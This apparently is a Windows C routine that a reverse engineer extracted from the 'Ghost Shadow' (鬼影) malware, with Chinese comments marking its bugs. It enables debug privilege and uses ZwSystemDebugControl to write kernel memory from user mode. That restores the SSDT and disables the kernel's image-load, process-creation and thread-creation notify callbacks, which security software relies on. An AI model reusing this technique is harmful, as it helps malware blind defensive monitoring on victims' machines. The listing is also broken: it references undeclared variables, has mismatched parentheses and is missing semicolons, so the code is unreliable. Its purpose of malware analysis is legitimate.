/***************************************************************************************
*
* 分析了一下“鬼影”病毒,从里面扒了段代码出来。
*
* 该段代码调用 ZwDebugSystemControl 在 Ring3 恢复 SSDT,并摘除
* PsSetLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、
* PsSetCreateThreadNotifyRoutine 三个钩子。
*
* 代码里 bug 较多,我用注释标示出来了,保留原味儿,未做修改。
*
* 逆向 by Fypher
* http:
//hi
.baidu.com
/nmn714
*
****************************************************************************************/
BOOL Ring3Unhook(IN BOOL bArg) {
//
bArg 为 0 时只恢复SSDT,不摘PsSetXXXNotifyRoutine钩子
//
先提权
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
if
(OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, &hToken) ) {
if
(LookupPrivilegeValue(0,
"SeDebugPrivilege"
, &luid)) {
tkp.Privileges[0].Luid.LowPart = luid.LowPart;
tkp.Privileges[0].Luid.HighPart = luid.HighPart;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0x10, NULL, 0);
}
}
CloseHandle(hObject);
//
此处有bug
//
获取所需函数,应该检查一下返回值
char strProcName[32] =
"ZwSystemDebugControl"
;
HMODULE hNtdll = GetModuleHandle(
"ntdll"
);
ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl = GetProcAddress(hNtdll, strProcName);
strcpy(strProcName,
"NtQuerySystemInformation"
);
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = GetProcAddress(hNtdll, strProcName);
//
查询系统模块信息
ULONG ulRet = 0;
NTSTATUS status;
status = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ulRet);
if
(status != STATUS_INFO_LENGTH_MISMATCH)
return
0;
//
这里写得不好,没有检查返回值,并且用 heap 类函数快得多
HLOCAL hlocal = LocalAlloc(LPTR, ulRet);
status = NtQuerySystemInformation(SystemModuleInformation, hlocal, ulRet, &ulRet))
return
0;
//
此处有资源泄露,应该释放 hlocal
//
WS的方式把 ntoskrnl 的真名找到了
PSYSTEM_MODULE_INFORMATION pSysModInfo = (PSYSTEM_MODULE_INFORMATION)((ULONG)hlocal + 4);
char* pstrNtoskrnl = pSysModInfo->ModuleNameOffset + pSysModInfo->ImageName;
HMODULE hNtoskrnl = LoadLibraryEx(pstrNtoskrnl, 0, DONT_RESOLVE_DLL_REFERENCES);
if
(!hNtoskrnl)
return
0;
//
此处有资源泄露,应该释放 hlocal
//
准备恢复SSDT
strcpy(strProcName,
"KeServiceDescriptorTable"
);
ULONG ulSSDToffset = (ULONG)GetProcAddress(hNtoskrnl, &ProcName) - (ULONG)hNtoskrnl;
ULONG ulNtoskrnlBase = (ULONG)hNtoskrnl & 0xFFFFFFFE;
//
取得基址,多余操作
ULONG ulPEHdr = *(PULONG)(ulNtoskrnlBase + 0x3C) + ulNtoskrnlBase;
//
取PE头
ULONG ulImageBase = *(PULONG)(ulPEHdr + 52);
//
取 ImageBase
ULONG ulSSDTAddr = ulImageBase + ulSSDToffset;
MEMORY_CHUNKS QueryBuff;
QueryBuff.Address = (ULONG)ulSSDTAddr;
ULONG ulSizeOfImage = *(PULONG)(ulPEHdr + 80);
//
取 SizeOfImage
PVOID lpAddress;
int i = 0;
if
(ulSizeOfImage) {
while
(1) {
lpAddress = (LPVOID)(ulNtoskrnlBase + i);
//
寻找 mov ds:KeServiceDescriptorTable, xxxxxxxx
//
特征码 C7 05 SSDT xxxx
if
(*(PULONG)(lpAddress) == ulSSDTAddr ) {
if
( *(WORD *)(lpAddress - 2) == 0x5C7 )
break
;
}
++i;
if
(i >= ulSizeOfImage)
break
;
}
if
(i <ulSizeOfImage)
QueryBuff.Address = *((PULONG)lpAddress + 1);
}
if
(i == ulSizeOfImage) {
return
0;
//
此处有资源泄露,应该释放 hNtoskrnl 和 hLocal
}
else
{
//
此处有bug, i > ulSizeOfImage后程序会流向此处
PULONG FunAddr = (PULONG)( QueryBuff.Address + (ULONG)hNtoskrnl - ulImageBase);
DWORD dwOldProtect = 0;
VirtualProtect(FunAddr, 0x1000, PAGE_READWRITE, &dwOldProtect);
//
这里应该检查返回值
int num = 280;
//
这里写得不好,函数个数应该动态获取
do
{
FunAddr[num] += (ULONG)pSysModInfo->Base - ulImageBase;
--num;
}
while
(num >= 0);
//
恢复SSDT
DWORD dwRet;
QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = FunAddr;
QueryBuff.Length = 1120;
//
这里写得不好,函数个数应该动态获取
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
if
( bArg ) {
//
根据参数决定是否摘除 PsSetxxxNotifyRoutine 钩子
//
准备摘掉 PsSetLoadImageNotifyRoutine 的钩子
strcpy(strProcName,
"PsSetLoadImageNotifyRoutine"
);
ULONG ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
QueryBuff.Address = ulProcAddr;
if
( *(WORD *)ulProcAddr != 0xCCCC ) {
//
此处有bug
do
{
++ulProcAddr;
}
while
( *(WORD *)ulProcAddr != 0xCCCC );
while
(ulProcAddr > QueryBuff.Address ) {
//
寻找 PsImageNotifyEnabled
//
mov ds:_PsImageNotifyEnabled, 1,特征码C6 05 xx xx xx xx 01。
if
(*(WORD *)ulProcAddr == 0x5C6 && *((_BYTE *)ulProcAddr + 6) == 1 ) {
ULONG ulPsImageNotifyEnabledAddr = *(PULONG)(ulProcAddr + 2);
//
将 PsImageNotifyEnabled 置 0, 摘掉 ImageNotifyEnabled 钩子
int buff = 0;
QueryBuff.Address = ulPsImageNotifyEnabledAddr + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = &buff
QueryBuff.Length = 1;
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
break
;
}
--ulProcAddr;
}
}
//
同理摘掉 PsSetCreateProcessNotifyRoutine 的钩子
strcpy(strProcName,
"PsSetCreateProcessNotifyRoutine"
);
ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
QueryBuff.Address = ulProcAddr;
if
( QueryBuff.Address < QueryBuff.Address + 256 ) {
//
找函数出口,retn 8
while
( *(WORD *)ulProcAddr != 0x8C2 || *(BYTE *)(ulProcAddr + 2) ) {
++ulProcAddr;
if
(ulProcAddr >= QueryBuff.Address + 256)
break
;
}
while
( ulProcAddr < QueryBuff.Address + 256 ) {
//
寻找mov xx, offset _PspCreateProcessNotifyRoutineCount
if
((*(BYTE *)ulProcAddr & 0xF8) == 0xB8) {
if
(*(PULONG)(ulProcAddr + 1) > 0x400000) {
//
取得_PspCreateProcessNotifyRoutineCount
int buff = 0;
QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = &buff;
QueryBuff.Length = 4;
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
break
;
}
ulProcAddr += 4;
}
++ulProcAddr;
}
}
//
同理摘掉 PsSetCreateThreadNotifyRoutine 的钩子, 不解释了
strcpy(strProcName,
"PsSetCreateThreadNotifyRoutine"
);
ulProcAddr = GetProcAddress(hNtoskrnl, &strProcName);
QueryBuff.Address = ulProcAddr;
while
(1) {
if
(ulProcAddr >= QueryBuff.Address + 256)
break
;
if
(*(WORD *)ulProcAddr == 0x4C2 && !*((BYTE *)ulProcAddr + 2))
break
;
++ulProcAddr;
}
for
(ULONG addr = ulProcAddr + 3; addr < QueryBuff.Address + 256; ++addr) {
if
((*(BYTE *)addr & 0xF8) == 0xB8) {
if
(*(PULONG)(addr + 1) > 0x400000) {
int buff = 0;
QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = &buff;
QueryBuff.Length = 4;
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
break
;
}
addr += 4;
}
}
}
FreeLibrary(hNtoskrnl);
return
NT_SUCCESS(status);
//
此处有资源泄露,应该释放 hlocal
}
}